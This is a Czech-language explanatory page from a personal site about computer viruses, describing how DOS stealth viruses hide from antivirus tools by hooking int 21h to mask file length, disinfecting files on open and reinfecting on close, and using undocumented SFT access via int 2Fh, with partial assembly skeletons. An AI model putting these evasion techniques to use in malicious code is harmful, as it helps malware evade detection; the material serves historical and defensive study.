Igiho stránka o virech
Novinky
Kniha o virech
1.Pomoc
Testy
Odkazy
Download
AV-Konference
Akce
Autor

Konstrukce stealth virů

Stealth viry se aktivním způsobem brání prozrazení své přítomnosti na počítači. Pro účinnost stealth mechanismů musí virus zajistit, aby jeho tělo bylo umístěno do paměti rezidentně. Podstatou stealth technik je monitorování služeb jádra DOSu pro práci se soubory, zejména pak služeb otevření, uzavření a spuštění souboru.
Řada virů se vyhýbá infikaci antivirových či systémových programů. Antivirové programy mají na zavirování vlastního těla velkou senzitivitu, a proto viry se řadě z nich záměrně vyhýbají. Je to jedna z možností, jak se viry brání svému prozrazení.
Snahu o minimální změnu těla objektu útoku demonstruje multipartitní virus StarShip, který v tabulce rozdělení pevného disku (Partition Table) mění pouze tři bajty v instrukcích pro načtení boot sektoru (fyzická adresa - hlava, stopa a sektor).

Částečný stealth mechanismus

Částečný stealth mechanismus maskuje zavirovanou délku souboru. Virus obsahuje přerušení jádra DOSu (int 21h) a monitoruje funkce otevření nebo vyhledání souboru, kdy operačnímu systému vrací délky, tak jako kdyby soubor infikován nebyl.

virus_int21h:
	cmp	ah, 0fh		; sluzba "Otevri soubor pres FCB" ?
	je 	stealth_open_FCB
	cmp	ah, 11h		; sluzba "Najdi prvni soubor pres FCB" ?
	je	stealth_FCB
	cmp 	ah, 12h		; sluzba "Najdi dalsi soubor pres FCB" ?
	je	stealth_FCB
	cmp	ah, 4eh		; sluzba "Najdi prvni soubor" ?
	je	stealth_dir
	cmp	ah, 4fh		; sluzba "Najdi dalsi soubor" ?
	je	stealth_dir		
	... dalsi testy ...
stealth_open_FCB:
	... volej originalni obsluhu int 21h
	... je-li soubor infikovan, pak FCB sniz hodnotu jeho velikosti o virus ...
	... dalsi virove manipulace ...
stealth_FCB:
	... volej originalni obsluhu int 21h
	... zjisti adresu DTA, ve ktere je FCB ulozeno ...
	... je-li soubor infikovan, pak v DTA sniz hodnotu jeho velikosti o virus ...
	... dalsi virove manipulace ...
stealth_dir:
	... volej originalni obsluhu int 21h
	... zjisti adresu DTA, ve ktere jsou informace o souboru ulozeny ...
	... je-li soubor infikovan, pak v DTA sniz hodnotu jeho velikosti o virus ...
	... dalsi virove manipulace ...

V případě návěští stealth_open_FCB a stealth_FCB se velikost souboru nachází na adrese FCB[1dh] resp. DTA[1dh], v případě návěští stealth_dir pak na adrese DTA[1ah]. Vždy se jedná o dvojslovo (DWORD). Při volání funkce 0fh je přímo známa adresa FCB, a proto ji není potřeba zjišťovat prostřednictvím DTA. Stealth FCB délky na úrovni instrukcí je uveden v rámci konstrukce souborového SYS viru.

Úplný stealth mechanismus

Principem úplného stealth mechanismu je rozšíření jeho částečné podoby o manipulaci úplného odvirování žádaného souboru před jeho předáním operačnímu systému a jeho opětovného zavirování v době, kdy příslušný soubor již není žádán resp. je vyvolán požadavek na jeho uzavření.

virus_int21h:
	cmp	ah, 3dh	; sluzba "Otevri soubor" ?
	je	stealth
	cmp	ah, 4bh	; sluzba "Spust souboru - EXEC" ?
	je	stealth
	cmp   ah, 6ch	; sluzba "Rozsireneho otevreni souboru" ?
	je 	stealth
	cmp	ah, 3eh	; sluzba "Uzavri soubor" ?
	je	infect
	... dalsi testy ...
stealth:
	... je-li oteviran nebo spusten spustitelny soubor, pak jej odviruj ...
	... a predej odvirovany soubor pozadovane sluzbe ...
	... dalsi virove manipulace

Důsledkem úplného stealth mechanismu je skutečnost, že antivirové kontroly nezachytí přítomnost viru, neboť v době testování je virus ze souboru již odstraněn.

Při manipulaci se souborem řada virů využívá nedokumentovaný mechanismus přímého přístupu k souboru prostřednictvím SFT:

mov	bx, file_handle	; rukojet souboru
mov	ax, 1220h		; sluzba "zjisti cislo SFT"
int	2fh
mov 	bl, es:di		; cislo SFT (-1 pro neotevreny soubor )
mov 	ax, 1216h		; sluzba "zjisti adresu SFT"
int 	2fh
; adresa ES:DI ukazuje na SFT

Tato posloupnost příkazů nyní umožňuje přímou manipulaci s atributy souboru, módem otevření, nastavení ukazatele posunu v souboru či manipulaci s datem a časem, bez volání služeb jádra DOSu (int 21h), a tím i bez hrozby zachycení operací antivirovým hlídačem.
Například pro nastavení ukazatele posunu na začátek souboru může virus místo volání služby DOSu 42h použít sekvenci:

mov	es:[di+15h], 0	; od offsetu 15h je v tabulce SFT ulozeno
mov	es:[di+17h], 0	; dvojslovo aktualniho posunu v souboru

Podobně pro přenastavení módu otevření na zápis:

mov	es:[di+02h], 2	; read/write mód

Zpět